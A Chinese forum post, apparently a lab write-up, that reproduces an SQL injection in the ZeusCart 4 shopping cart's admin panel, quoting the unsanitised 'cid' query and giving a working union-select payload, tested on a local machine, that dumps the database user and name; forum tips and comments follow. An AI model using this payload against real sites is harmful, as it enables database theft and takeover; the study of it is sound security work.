ZeusCart是一套基于PHP和MySQL的为中小型网店设计的开源购物系统。ZeusCart4版本的管理后台中存在SQL注入漏洞,该漏洞源于admin/URI没有充分过滤dispordersdetail和subadminmgtedit操作中的‘id’参数;admin/URI没有充分过滤editcurrency操作中的‘cid’参数。远程攻击者可利用该漏洞执行任意SQL命令。
SQL注入是指攻击者利用Web应用程序数据与代码未严格分离、没有对用户输入进行严格的转义字符过滤和类型检查的漏洞,将一段精心构造的SQL命令注入到后台数据库引擎执行,导致数据库信息泄漏、网站挂马、数据库的系统管理员帐户被纂改、服务器被黑客安装后门远程控制等
下载地址:https://www.zeuscart.com/
下载之后解压开放在phpstudy中的www目录里就可以了
放进去之后 需要先在数据库中建立一个库,任意名字,留给安装的时候填写。
由于安装的步骤比较简单,所以不做演示
先看c:\phpStudy\WWW\admin\classes\Core\Settings\CCurrencySettings.php文件
在108行至202行出现问题
发现这地方是直接调用sql语句没有做任何防护的
观察我们输入的参数cid即成为了currencyid参数$currencyid=trim($_GET['cid']);
$sql="select id as hidecurrencyid,currency_name,currency_code,currency_tocken,status from currency_master_table where id=$currencyid";
回到后台登录位置
点击Admin profile
然后把url改成刚刚那个存在问题的函数来验证是否存在
http://192.168.123.135/admin/?do=editcurrency&cid=1
此时可以尝试在1后面添加单引号
可以看见数字就消失了,说明存在注入
构建Payload:/admin/?do=editcurrency&cid=1+union+select+1,user(),3,database(),5--+
http://192.168.123.135/admin/?do=editcurrency&cid=1+union+select+1,user(),3,database(),5--+
可见已经把数据库和当前用户名输出了
executeQuery没有对cid参数做任何的检查,完全信任用户的cid输入,导致了sql注入漏洞的产生
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
cc11 | 5.00 | 0 | 2021-09-25 08:08:32 | 一个受益终生的帖子~~ |
Track-手电筒 | 10.00 | 0 | 2021-09-23 11:11:04 | 活动额外奖赏 |
Track-手电筒 | 20.00 | 0 | 2021-09-23 11:11:45 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2022 掌控者 All Rights Reserved.
wen
发表于 8个月前
1
评论列表
加载数据中...
cc11
发表于 8个月前
腻害
评论列表
加载数据中...